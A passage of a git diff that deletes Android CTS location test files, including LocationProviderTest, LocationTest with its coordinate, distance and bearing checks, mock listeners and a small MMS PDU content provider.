- assertEquals("Bad longitude", longitude, location.getLongitude());
- assertTrue("Bad isMock", location.isFromMockProvider());
-
- // Remove the listener.
- mManager.removeUpdates(listener);
- }
-
- private void registerIntentReceiver() {
- String intentKey = "LocationManagerTest";
- Intent proximityIntent = new Intent(intentKey);
- mPendingIntent = PendingIntent.getBroadcast(mContext, 0, proximityIntent,
- PendingIntent.FLAG_CANCEL_CURRENT);
- mIntentReceiver = new TestIntentReceiver(intentKey);
- mContext.registerReceiver(mIntentReceiver, mIntentReceiver.getFilter());
- }
-
- /**
- * Registers the proximity intent receiver
- */
- private void registerProximityListener(double latitude, double longitude, float radius,
- long expiration) {
- registerIntentReceiver();
- mManager.addProximityAlert(latitude, longitude, radius, expiration, mPendingIntent);
- }
-
- /**
- * Blocks until receive intent notification or time out.
- *
- * @throws InterruptedException
- */
- private void waitForReceiveBroadcast() throws InterruptedException {
- synchronized (mIntentReceiver) {
- mIntentReceiver.wait(TEST_TIME_OUT);
- }
- }
-
- /**
- * Asserts that the received intent had the enter proximity property set as
- * expected
- *
- * @param expectedEnterProximity - true if enter proximity expected, false
- * if exit expected
- */
- private void assertProximityType(boolean expectedEnterProximity) throws Exception {
- Intent intent = mIntentReceiver.getLastReceivedIntent();
- assertNotNull("Did not receive any intent", intent);
- boolean proximityTest = intent.getBooleanExtra(
- LocationManager.KEY_PROXIMITY_ENTERING, !expectedEnterProximity);
- assertEquals("proximity alert not set to expected enter proximity value",
- expectedEnterProximity, proximityTest);
- }
-
- private void updateLocation(final String providerName, final double latitude,
- final double longitude) {
- updateLocation(providerName, providerName, latitude, longitude);
- }
-
- /**
- * Like {@link #updateLocation(String, double, double)}, but allows inconsistent providers to be
- * used in the calls to {@link Location#Location(String)} and
- * {@link LocationManager#setTestProviderLocation(String, Location)}.
- */
- private void updateLocation(String testProviderName, String locationProviderName,
- double latitude, double longitude) {
- Location location = new Location(locationProviderName);
- location.setLatitude(latitude);
- location.setLongitude(longitude);
- location.setAccuracy(1.0f);
- location.setTime(System.currentTimeMillis());
- location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
- mManager.setTestProviderLocation(testProviderName, location);
- }
-
- private void updateLocation(final double latitude, final double longitude) {
- updateLocation(TEST_MOCK_PROVIDER_NAME, latitude, longitude);
- }
-
- private void updateFusedLocation(final double latitude, final double longitude) {
- updateLocation(FUSED_PROVIDER_NAME, latitude, longitude);
- }
-
- private Criteria createLocationCriteria() {
- Criteria criteria = new Criteria();
- criteria.setAccuracy(Criteria.ACCURACY_FINE);
- criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
- criteria.setAltitudeRequired(false);
- criteria.setBearingRequired(false);
- criteria.setCostAllowed(false);
- criteria.setSpeedRequired(false);
- return criteria;
- }
-
- private void mockFusedLocation() {
- addTestProvider(FUSED_PROVIDER_NAME);
- }
-
- private void unmockFusedLocation() {
- mManager.removeTestProvider(FUSED_PROVIDER_NAME);
- }
-
- /**
- * Helper class that receives a proximity intent and notifies the main class
- * when received
- */
- private static class TestIntentReceiver extends BroadcastReceiver {
- private String mExpectedAction;
-
- private Intent mLastReceivedIntent;
-
- public TestIntentReceiver(String expectedAction) {
- mExpectedAction = expectedAction;
- mLastReceivedIntent = null;
- }
-
- public IntentFilter getFilter() {
- IntentFilter filter = new IntentFilter(mExpectedAction);
- return filter;
- }
-
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent != null && mExpectedAction.equals(intent.getAction())) {
- synchronized (this) {
- mLastReceivedIntent = intent;
- notify();
- }
- }
- }
-
- public Intent getLastReceivedIntent() {
- return mLastReceivedIntent;
- }
-
- public void clearReceivedIntents() {
- mLastReceivedIntent = null;
- }
- }
-
- private static class MockLocationListener implements LocationListener {
- private String mProvider;
- private int mStatus;
- private Location mLocation;
- private Object mStatusLock = new Object();
- private Object mLocationLock = new Object();
- private Object mLocationRequestLock = new Object();
-
- private boolean mHasCalledOnLocationChanged;
-
- private boolean mHasCalledOnProviderDisabled;
-
- private boolean mHasCalledOnProviderEnabled;
-
- private boolean mHasCalledOnStatusChanged;
-
- private boolean mHasCalledRequestLocation;
-
- public void reset(){
- mHasCalledOnLocationChanged = false;
- mHasCalledOnProviderDisabled = false;
- mHasCalledOnProviderEnabled = false;
- mHasCalledOnStatusChanged = false;
- mHasCalledRequestLocation = false;
- mProvider = null;
- mStatus = 0;
- }
-
- /**
- * Call to inform listener that location has been updates have been requested
- */
- public void setLocationRequested() {
- synchronized (mLocationRequestLock) {
- mHasCalledRequestLocation = true;
- mLocationRequestLock.notify();
- }
- }
-
- public boolean hasCalledLocationRequested(long timeout) throws InterruptedException {
- synchronized (mLocationRequestLock) {
- if (timeout > 0 && !mHasCalledRequestLocation) {
- mLocationRequestLock.wait(timeout);
- }
- }
- return mHasCalledRequestLocation;
- }
-
- /**
- * Check whether onLocationChanged() has been called. Wait up to timeout milliseconds
- * for the callback.
- * @param timeout Maximum time to wait for the callback, 0 to return immediately.
- */
- public boolean hasCalledOnLocationChanged(long timeout) throws InterruptedException {
- synchronized (mLocationLock) {
- if (timeout > 0 && !mHasCalledOnLocationChanged) {
- mLocationLock.wait(timeout);
- }
- }
- return mHasCalledOnLocationChanged;
- }
-
- public boolean hasCalledOnProviderDisabled() {
- return mHasCalledOnProviderDisabled;
- }
-
- public boolean hasCalledOnProviderEnabled() {
- return mHasCalledOnProviderEnabled;
- }
-
- public boolean hasCalledOnStatusChanged(long timeout) throws InterruptedException {
- synchronized(mStatusLock) {
- // wait(0) would wait forever
- if (timeout > 0 && !mHasCalledOnStatusChanged) {
- mStatusLock.wait(timeout);
- }
- }
- return mHasCalledOnStatusChanged;
- }
-
- public void onLocationChanged(Location location) {
- mLocation = location;
- synchronized (mLocationLock) {
- mHasCalledOnLocationChanged = true;
- mLocationLock.notify();
- }
- }
-
- public void onProviderDisabled(String provider) {
- mHasCalledOnProviderDisabled = true;
- }
-
- public void onProviderEnabled(String provider) {
- mHasCalledOnProviderEnabled = true;
- }
-
- public void onStatusChanged(String provider, int status, Bundle extras) {
- mProvider = provider;
- mStatus = status;
- synchronized (mStatusLock) {
- mHasCalledOnStatusChanged = true;
- mStatusLock.notify();
- }
- }
-
- public String getProvider() {
- return mProvider;
- }
-
- public int getStatus() {
- return mStatus;
- }
-
- public Location getLocation() {
- return mLocation;
- }
- }
-
- private static class MockGnssNmeaListener implements OnNmeaMessageListener {
- private boolean mIsNmeaReceived;
-
- @Override
- public void onNmeaMessage(String name, long timestamp) {
- mIsNmeaReceived = true;
- }
-
- public boolean isNmeaRecevied() {
- return mIsNmeaReceived;
- }
-
- public void reset() {
- mIsNmeaReceived = false;
- }
- }
-
- private static class MockGnssStatusCallback extends GnssStatus.Callback {
- @Override
- public void onSatelliteStatusChanged(GnssStatus status) {
- for (int i = 0; i < status.getSatelliteCount(); ++i) {
- status.getAzimuthDegrees(i);
- status.getCn0DbHz(i);
- status.getConstellationType(i);
- status.getElevationDegrees(i);
- status.getSvid(i);
- status.hasAlmanacData(i);
- status.hasEphemerisData(i);
- status.usedInFix(i);
- }
- }
- }
-
- private boolean isSystemUser() {
- UserManager userManager = mContext.getSystemService(UserManager.class);
- return userManager.isSystemUser();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/LocationProviderTest.java b/tests/tests/location/src/android/location/cts/LocationProviderTest.java
deleted file mode 100644
index 1e6feda..0000000
--- a/tests/tests/location/src/android/location/cts/LocationProviderTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.Criteria;
-import android.location.LocationManager;
-import android.location.LocationProvider;
-
-public class LocationProviderTest extends BaseMockLocationTest {
- private static final String PROVIDER_NAME = "location_provider_test";
-
- private LocationManager mLocationManager;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mLocationManager = getInstrumentation().getContext().getSystemService(
- LocationManager.class);
- addTestProvider(PROVIDER_NAME);
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Work around b/11446702 by clearing the test provider before removing it
- mLocationManager.clearTestProviderLocation(PROVIDER_NAME);
- mLocationManager.removeTestProvider(PROVIDER_NAME);
- super.tearDown();
- }
-
- /**
- * Adds a test provider with the given name.
- */
- private void addTestProvider(String providerName) {
- mLocationManager.addTestProvider(
- providerName,
- true, // requiresNetwork,
- false, // requiresSatellite,
- false, // requiresCell,
- false, // hasMonetaryCost,
- true, // supportsAltitude,
- false, // supportsSpeed,
- true, // supportsBearing,
- Criteria.POWER_MEDIUM, // powerRequirement,
- Criteria.ACCURACY_FINE); // accuracy
- mLocationManager.setTestProviderEnabled(providerName, true);
- }
-
- public void testGetName() {
- LocationProvider locationProvider = mLocationManager.getProvider(PROVIDER_NAME);
- assertEquals(PROVIDER_NAME, locationProvider.getName());
- }
-
- public void testMeetsCriteria() {
- LocationProvider locationProvider = mLocationManager.getProvider(PROVIDER_NAME);
-
- Criteria criteria = new Criteria();
- criteria.setAltitudeRequired(true);
- criteria.setBearingRequired(true);
- assertTrue(locationProvider.meetsCriteria(criteria));
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/LocationTest.java b/tests/tests/location/src/android/location/cts/LocationTest.java
deleted file mode 100644
index 71aeb05..0000000
--- a/tests/tests/location/src/android/location/cts/LocationTest.java
+++ /dev/null
@@ -1,672 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.Context;
-import android.content.Intent;
-import android.location.Location;
-import android.location.SettingInjectorService;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Messenger;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.util.Printer;
-import android.util.StringBuilderPrinter;
-
-import java.text.DecimalFormat;
-
-public class LocationTest extends AndroidTestCase {
- private static final float DELTA = 0.1f;
- private final float TEST_ACCURACY = 1.0f;
- private final float TEST_VERTICAL_ACCURACY = 2.0f;
- private final float TEST_SPEED_ACCURACY = 3.0f;
- private final float TEST_BEARING_ACCURACY = 4.0f;
- private final double TEST_ALTITUDE = 1.0;
- private final double TEST_LATITUDE = 50;
- private final float TEST_BEARING = 1.0f;
- private final double TEST_LONGITUDE = 20;
- private final float TEST_SPEED = 5.0f;
- private final long TEST_TIME = 100;
- private final String TEST_PROVIDER = "LocationProvider";
- private final String TEST_KEY1NAME = "key1";
- private final String TEST_KEY2NAME = "key2";
- private final boolean TEST_KEY1VALUE = false;
- private final byte TEST_KEY2VALUE = 10;
-
- private static final String ENABLED_KEY = "enabled";
- private static final String MESSENGER_KEY = "messenger";
-
-
- public void testConstructor() {
- new Location("LocationProvider");
-
- Location l = createTestLocation();
- Location location = new Location(l);
- assertTestLocation(location);
-
- try {
- new Location((Location) null);
- fail("should throw NullPointerException");
- } catch (NullPointerException e) {
- // expected.
- }
- }
-
- public void testDump() {
- StringBuilder sb = new StringBuilder();
- StringBuilderPrinter printer = new StringBuilderPrinter(sb);
- Location location = new Location("LocationProvider");
- location.dump(printer, "");
- assertNotNull(sb.toString());
- }
-
- public void testBearingTo() {
- Location location = new Location("");
- Location dest = new Location("");
-
- // set the location to Beijing
- location.setLatitude(39.9);
- location.setLongitude(116.4);
- // set the destination to Chengdu
- dest.setLatitude(30.7);
- dest.setLongitude(104.1);
- assertEquals(-128.66, location.bearingTo(dest), DELTA);
-
- float bearing;
- Location zeroLocation = new Location("");
- zeroLocation.setLatitude(0);
- zeroLocation.setLongitude(0);
-
- Location testLocation = new Location("");
- testLocation.setLatitude(0);
- testLocation.setLongitude(150);
-
- bearing = zeroLocation.bearingTo(zeroLocation);
- assertEquals(0.0f, bearing, DELTA);
-
- bearing = zeroLocation.bearingTo(testLocation);
- assertEquals(90.0f, bearing, DELTA);
-
- testLocation.setLatitude(90);
- testLocation.setLongitude(0);
- bearing = zeroLocation.bearingTo(testLocation);
- assertEquals(0.0f, bearing, DELTA);
-
- try {
- location.bearingTo(null);
- fail("should throw NullPointerException");
- } catch (NullPointerException e) {
- // expected.
- }
- }
-
- public void testConvert_CoordinateToRepresentation() {
- DecimalFormat df = new DecimalFormat("###.#####");
- String result;
-
- result = Location.convert(-80.0, Location.FORMAT_DEGREES);
- assertEquals("-" + df.format(80.0), result);
-
- result = Location.convert(-80.085, Location.FORMAT_MINUTES);
- assertEquals("-80:" + df.format(5.1), result);
-
- result = Location.convert(-80, Location.FORMAT_MINUTES);
- assertEquals("-80:" + df.format(0), result);
-
- result = Location.convert(-80.075, Location.FORMAT_MINUTES);
- assertEquals("-80:" + df.format(4.5), result);
-
- result = Location.convert(-80.075, Location.FORMAT_DEGREES);
- assertEquals("-" + df.format(80.075), result);
-
- result = Location.convert(-80.075, Location.FORMAT_SECONDS);
- assertEquals("-80:4:30", result);
-
- try {
- Location.convert(-181, Location.FORMAT_SECONDS);
- fail("should throw IllegalArgumentException.");
- } catch (IllegalArgumentException e) {
- // expected.
- }
-
- try {
- Location.convert(181, Location.FORMAT_SECONDS);
- fail("should throw IllegalArgumentException.");
- } catch (IllegalArgumentException e) {
- // expected.
- }
-
- try {
- Location.convert(-80.075, -1);
- fail("should throw IllegalArgumentException.");
- } catch (IllegalArgumentException e) {
- // expected.
- }
- }
-
- public void testConvert_RepresentationToCoordinate() {
- double result;
-
- result = Location.convert("-80.075");
- assertEquals(-80.075, result);
-
- result = Location.convert("-80:05.10000");
- assertEquals(-80.085, result);
-
- result = Location.convert("-80:04:03.00000");
- assertEquals(-80.0675, result);
-
- result = Location.convert("-80:4:3");
- assertEquals(-80.0675, result);
-
- try {
- Location.convert(null);
- fail("should throw NullPointerException.");
- } catch (NullPointerException e){
- // expected.
- }
-
- try {
- Location.convert(":");
- fail("should throw IllegalArgumentException.");
- } catch (IllegalArgumentException e){
- // expected.
- }
-
- try {
- Location.convert("190:4:3");
- fail("should throw IllegalArgumentException.");
- } catch (IllegalArgumentException e){
- // expected.
- }
-
- try {
- Location.convert("-80:60:3");
- fail("should throw IllegalArgumentException.");
- } catch (IllegalArgumentException e){
- // expected.
- }
-
- try {
- Location.convert("-80:4:60");
- fail("should throw IllegalArgumentException.");
- } catch (IllegalArgumentException e){
- // expected.
- }
- }
-
- public void testDescribeContents() {
- Location location = new Location("");
- location.describeContents();
- }
-
- public void testDistanceBetween() {
- float[] result = new float[3];
- Location.distanceBetween(0, 0, 0, 0, result);
- assertEquals(0.0, result[0], DELTA);
- assertEquals(0.0, result[1], DELTA);
- assertEquals(0.0, result[2], DELTA);
-
- Location.distanceBetween(20, 30, -40, 140, result);
- assertEquals(1.3094936E7, result[0], 1);
- assertEquals(125.4538, result[1], DELTA);
- assertEquals(93.3971, result[2], DELTA);
-
- try {
- Location.distanceBetween(20, 30, -40, 140, null);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- // expected.
- }
-
- try {
- Location.distanceBetween(20, 30, -40, 140, new float[0]);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- // expected.
- }
- }
-
- public void testDistanceTo() {
- float distance;
- Location zeroLocation = new Location("");
- zeroLocation.setLatitude(0);
- zeroLocation.setLongitude(0);
-
- Location testLocation = new Location("");
- testLocation.setLatitude(30);
- testLocation.setLongitude(50);
-
- distance = zeroLocation.distanceTo(zeroLocation);
- assertEquals(0, distance, DELTA);
-
- distance = zeroLocation.distanceTo(testLocation);
- assertEquals(6244139.0, distance, 1);
- }
-
- public void testAccessAccuracy() {
- Location location = new Location("");
- assertFalse(location.hasAccuracy());
-
- location.setAccuracy(1.0f);
- assertEquals(1.0, location.getAccuracy(), DELTA);
- assertTrue(location.hasAccuracy());
-
- location.removeAccuracy();
- assertEquals(0.0, location.getAccuracy(), DELTA);
- assertFalse(location.hasAccuracy());
- }
-
- public void testAccessVerticalAccuracy() {
- Location location = new Location("");
- assertFalse(location.hasVerticalAccuracy());
-
- location.setVerticalAccuracyMeters(1.0f);
- assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
- assertTrue(location.hasVerticalAccuracy());
- }
-
- public void testAccessSpeedAccuracy() {
- Location location = new Location("");
- assertFalse(location.hasSpeedAccuracy());
-
- location.setSpeedAccuracyMetersPerSecond(1.0f);
- assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
- assertTrue(location.hasSpeedAccuracy());
- }
-
- public void testAccessBearingAccuracy() {
- Location location = new Location("");
- assertFalse(location.hasBearingAccuracy());
-
- location.setBearingAccuracyDegrees(1.0f);
- assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
- assertTrue(location.hasBearingAccuracy());
- }
-
-
- public void testAccessAltitude() {
- Location location = new Location("");
- assertFalse(location.hasAltitude());
-
- location.setAltitude(1.0);
- assertEquals(1.0, location.getAltitude(), DELTA);
- assertTrue(location.hasAltitude());
-
- location.removeAltitude();
- assertEquals(0.0, location.getAltitude(), DELTA);
- assertFalse(location.hasAltitude());
- }
-
- public void testAccessBearing() {
- Location location = new Location("");
- assertFalse(location.hasBearing());
-
- location.setBearing(1.0f);
- assertEquals(1.0, location.getBearing(), DELTA);
- assertTrue(location.hasBearing());
-
- location.setBearing(371.0f);
- assertEquals(11.0, location.getBearing(), DELTA);
- assertTrue(location.hasBearing());
-
- location.setBearing(-361.0f);
- assertEquals(359.0, location.getBearing(), DELTA);
- assertTrue(location.hasBearing());
-
- location.removeBearing();
- assertEquals(0.0, location.getBearing(), DELTA);
- assertFalse(location.hasBearing());
- }
-
- public void testAccessExtras() {
- Location location = createTestLocation();
-
- assertTestBundle(location.getExtras());
-
- location.setExtras(null);
- assertNull(location.getExtras());
- }
-
- public void testAccessLatitude() {
- Location location = new Location("");
-
- location.setLatitude(0);
- assertEquals(0, location.getLatitude(), DELTA);
-
- location.setLatitude(90);
- assertEquals(90, location.getLatitude(), DELTA);
-
- location.setLatitude(-90);
- assertEquals(-90, location.getLatitude(), DELTA);
- }
-
- public void testAccessLongitude() {
- Location location = new Location("");
-
- location.setLongitude(0);
- assertEquals(0, location.getLongitude(), DELTA);
-
- location.setLongitude(180);
- assertEquals(180, location.getLongitude(), DELTA);
-
- location.setLongitude(-180);
- assertEquals(-180, location.getLongitude(), DELTA);
- }
-
- public void testAccessProvider() {
- Location location = new Location("");
-
- String provider = "Location Provider";
- location.setProvider(provider);
- assertEquals(provider, location.getProvider());
-
- location.setProvider(null);
- assertNull(location.getProvider());
- }
-
- public void testAccessSpeed() {
- Location location = new Location("");
- assertFalse(location.hasSpeed());
-
- location.setSpeed(234.0045f);
- assertEquals(234.0045, location.getSpeed(), DELTA);
- assertTrue(location.hasSpeed());
-
- location.removeSpeed();
- assertEquals(0.0, location.getSpeed(), DELTA);
- assertFalse(location.hasSpeed());
- }
-
- public void testAccessTime() {
- Location location = new Location("");
-
- location.setTime(0);
- assertEquals(0, location.getTime());
-
- location.setTime(Long.MAX_VALUE);
- assertEquals(Long.MAX_VALUE, location.getTime());
-
- location.setTime(12000);
- assertEquals(12000, location.getTime());
- }
-
- public void testAccessElapsedRealtime() {
- Location location = new Location("");
-
- location.setElapsedRealtimeNanos(0);
- assertEquals(0, location.getElapsedRealtimeNanos());
-
- location.setElapsedRealtimeNanos(Long.MAX_VALUE);
- assertEquals(Long.MAX_VALUE, location.getElapsedRealtimeNanos());
-
- location.setElapsedRealtimeNanos(12000);
- assertEquals(12000, location.getElapsedRealtimeNanos());
- }
-
- public void testAccessElapsedRealtimeUncertaintyNanos() {
- Location location = new Location("");
- assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
- assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos());
-
- location.setElapsedRealtimeUncertaintyNanos(12000.0);
- assertEquals(12000.0, location.getElapsedRealtimeUncertaintyNanos());
- assertTrue(location.hasElapsedRealtimeUncertaintyNanos());
-
- location.reset();
- assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
- assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos());
- }
-
- public void testSet() {
- Location location = new Location("");
-
- Location loc = createTestLocation();
-
- location.set(loc);
- assertTestLocation(location);
-
- location.reset();
- assertNull(location.getProvider());
- assertEquals(0, location.getTime());
- assertEquals(0, location.getLatitude(), DELTA);
- assertEquals(0, location.getLongitude(), DELTA);
- assertEquals(0, location.getAltitude(), DELTA);
- assertFalse(location.hasAltitude());
- assertEquals(0, location.getSpeed(), DELTA);
- assertFalse(location.hasSpeed());
- assertEquals(0, location.getBearing(), DELTA);
- assertFalse(location.hasBearing());
- assertEquals(0, location.getAccuracy(), DELTA);
- assertFalse(location.hasAccuracy());
-
- assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
- assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
- assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
-
- assertFalse(location.hasVerticalAccuracy());
- assertFalse(location.hasSpeedAccuracy());
- assertFalse(location.hasBearingAccuracy());
-
- assertNull(location.getExtras());
- }
-
- public void testToString() {
- Location location = createTestLocation();
-
- assertNotNull(location.toString());
- }
-
- public void testWriteToParcel() {
- Location location = createTestLocation();
-
- Parcel parcel = Parcel.obtain();
- location.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- Location newLocation = Location.CREATOR.createFromParcel(parcel);
- assertTestLocation(newLocation);
-
- parcel.recycle();
- }
-
- public void testSettingInjectorService() {
- Context c = getContext();
- SettingInjectorServiceDerived service = new SettingInjectorServiceDerived();
-
- assertNotNull(c);
-
- Intent intent =
- new Intent(c, android.location.SettingInjectorService.class);
-
- assertNotNull(c.getMainLooper());
- SettingInjectorResultHandler resultHandler =
- new SettingInjectorResultHandler(c.getMainLooper());
-
- Messenger m = new Messenger(resultHandler);
- intent.putExtra(MESSENGER_KEY, m);
-
- int ret;
- final long timeout = 500;
-
- // should refuse binding
- IBinder binder = service.callOnBind(intent);
- assertNull("onBind should always fail.", binder);
-
- // test if result consistent with the truth
- // enabled == false case
- service.setEnabled(false);
- resultHandler.expectEnabled(false);
- resultHandler.expectMessage(true);
- ret = service.callOnStartCommand(intent, SettingInjectorService.START_NOT_STICKY, 0);
- assertEquals("onStartCommand return value invalid in (enabled == false) case.",
- ret, SettingInjectorService.START_NOT_STICKY);
- assertTrue("Message time out in (enabled == false case).",
- resultHandler.waitForMessage(timeout));
-
- // enabled == true case
- service.setEnabled(true);
- assertTrue(service.onGetEnabled());
- assertEquals("Summary", service.onGetSummary());
- resultHandler.expectEnabled(true);
- resultHandler.expectMessage(true);
- ret = service.callOnStartCommand(intent, SettingInjectorService.START_NOT_STICKY, 0);
- assertEquals("onStartCommand return value invalid in (enabled == true) case.",
- ret, SettingInjectorService.START_NOT_STICKY);
- assertTrue("Message time out in (enabled == true) case.",
- resultHandler.waitForMessage(timeout));
-
- // should not respond to the deprecated method
- resultHandler.expectMessage(false);
- service.callOnStart(intent, 0);
- resultHandler.waitForMessage(timeout);
- }
-
- private void assertTestLocation(Location l) {
- assertNotNull(l);
- assertEquals(TEST_PROVIDER, l.getProvider());
- assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
- assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
- assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
- assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
- assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
- assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
- assertEquals(TEST_BEARING, l.getBearing(), DELTA);
- assertEquals(TEST_LONGITUDE, l.getLongitude(), DELTA);
- assertEquals(TEST_SPEED, l.getSpeed(), DELTA);
- assertEquals(TEST_TIME, l.getTime());
- assertTestBundle(l.getExtras());
- }
-
- private Location createTestLocation() {
- Location l = new Location(TEST_PROVIDER);
- l.setAccuracy(TEST_ACCURACY);
- l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
- l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
- l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
-
- l.setAltitude(TEST_ALTITUDE);
- l.setLatitude(TEST_LATITUDE);
- l.setBearing(TEST_BEARING);
- l.setLongitude(TEST_LONGITUDE);
- l.setSpeed(TEST_SPEED);
- l.setTime(TEST_TIME);
- Bundle bundle = new Bundle();
- bundle.putBoolean(TEST_KEY1NAME, TEST_KEY1VALUE);
- bundle.putByte(TEST_KEY2NAME, TEST_KEY2VALUE);
- l.setExtras(bundle);
-
- return l;
- }
-
- private void assertTestBundle(Bundle bundle) {
- assertFalse(bundle.getBoolean(TEST_KEY1NAME));
- assertEquals(TEST_KEY2VALUE, bundle.getByte(TEST_KEY2NAME));
- }
-
- private class SettingInjectorResultHandler extends Handler {
- private boolean mEnabledShouldBe;
- private boolean mExpectingMessage;
- private boolean mMessageArrived;
-
- SettingInjectorResultHandler(Looper l) {
- super(l);
- }
-
- @Override
- public void handleMessage(Message m) {
-
- assertTrue("Unexpected message.", mExpectingMessage);
-
- boolean enabled = m.getData().getBoolean(ENABLED_KEY);
-
- assertEquals(String.format(
- "Message value (%s) inconsistent with service state (%s).",
- String.valueOf(enabled), String.valueOf(mEnabledShouldBe) ),
- mEnabledShouldBe, enabled);
-
- synchronized (this) {
- mMessageArrived = true;
- notify();
- }
- }
-
- public void expectEnabled(boolean enabled) {
- mEnabledShouldBe = enabled;
- }
-
- public void expectMessage(boolean expecting) {
- mMessageArrived = false;
- mExpectingMessage = expecting;
- }
-
- public synchronized boolean waitForMessage(long millis) {
- synchronized (this) {
- try {
- wait(millis);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- return mMessageArrived;
- }
- }
- }
-
-
- private class SettingInjectorServiceDerived extends SettingInjectorService {
-
- private boolean mEnabled;
-
- SettingInjectorServiceDerived() {
- super("SettingInjectorServiceDerived");
- setEnabled(false);
- }
-
- @Override
- // Deprecated API
- protected String onGetSummary() {
- return "Summary";
- }
-
- @Override
- protected boolean onGetEnabled() {
- return mEnabled;
- }
-
- public void setEnabled(boolean enabled) {
- mEnabled = enabled;
- }
-
- // API coverage dashboard will not count method call from derived class.
- // Thus, it is necessary to make explicit call to SettingInjectorService public methods.
- public IBinder callOnBind(Intent intent) {
- return super.onBind(intent);
- }
-
- public void callOnStart(Intent intent, int startId) {
- super.onStart(intent, startId);
- }
-
- public int callOnStartCommand(Intent intent, int flags, int startId) {
- return super.onStartCommand(intent, flags, startId);
- }
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/MmsPduProvider.java b/tests/tests/location/src/android/location/cts/MmsPduProvider.java
deleted file mode 100644
index 76d859e..0000000
--- a/tests/tests/location/src/android/location/cts/MmsPduProvider.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.text.TextUtils;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-
-/**
- * A simple provider to send MMS PDU to platform MMS service
- */
-public class MmsPduProvider extends ContentProvider {
- @Override
- public boolean onCreate() {
- return true;
- }
-
- @Override
- public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
- String sortOrder) {
- // Not supported
- return null;
- }
-
- @Override
- public String getType(Uri uri) {
- // Not supported
- return null;
- }
-
- @Override
- public Uri insert(Uri uri, ContentValues values) {
- // Not supported
- return null;
- }
-
- @Override
- public int delete(Uri uri, String selection, String[] selectionArgs) {
- // Not supported
- return 0;
- }
-
- @Override
- public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
- // Not supported
- return 0;
- }
-
- @Override
- public ParcelFileDescriptor openFile(Uri uri, String fileMode) throws FileNotFoundException {
- File file = new File(getContext().getCacheDir(), uri.getPath());
- int mode = (TextUtils.equals(fileMode, "r") ? ParcelFileDescriptor.MODE_READ_ONLY :
- ParcelFileDescriptor.MODE_WRITE_ONLY
- |ParcelFileDescriptor.MODE_TRUNCATE
- |ParcelFileDescriptor.MODE_CREATE);
- return ParcelFileDescriptor.open(file, mode);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/MultiConstellationNotSupportedException.java b/tests/tests/location/src/android/location/cts/MultiConstellationNotSupportedException.java
deleted file mode 100644
index 723e996..0000000
--- a/tests/tests/location/src/android/location/cts/MultiConstellationNotSupportedException.java
+++ /dev/null
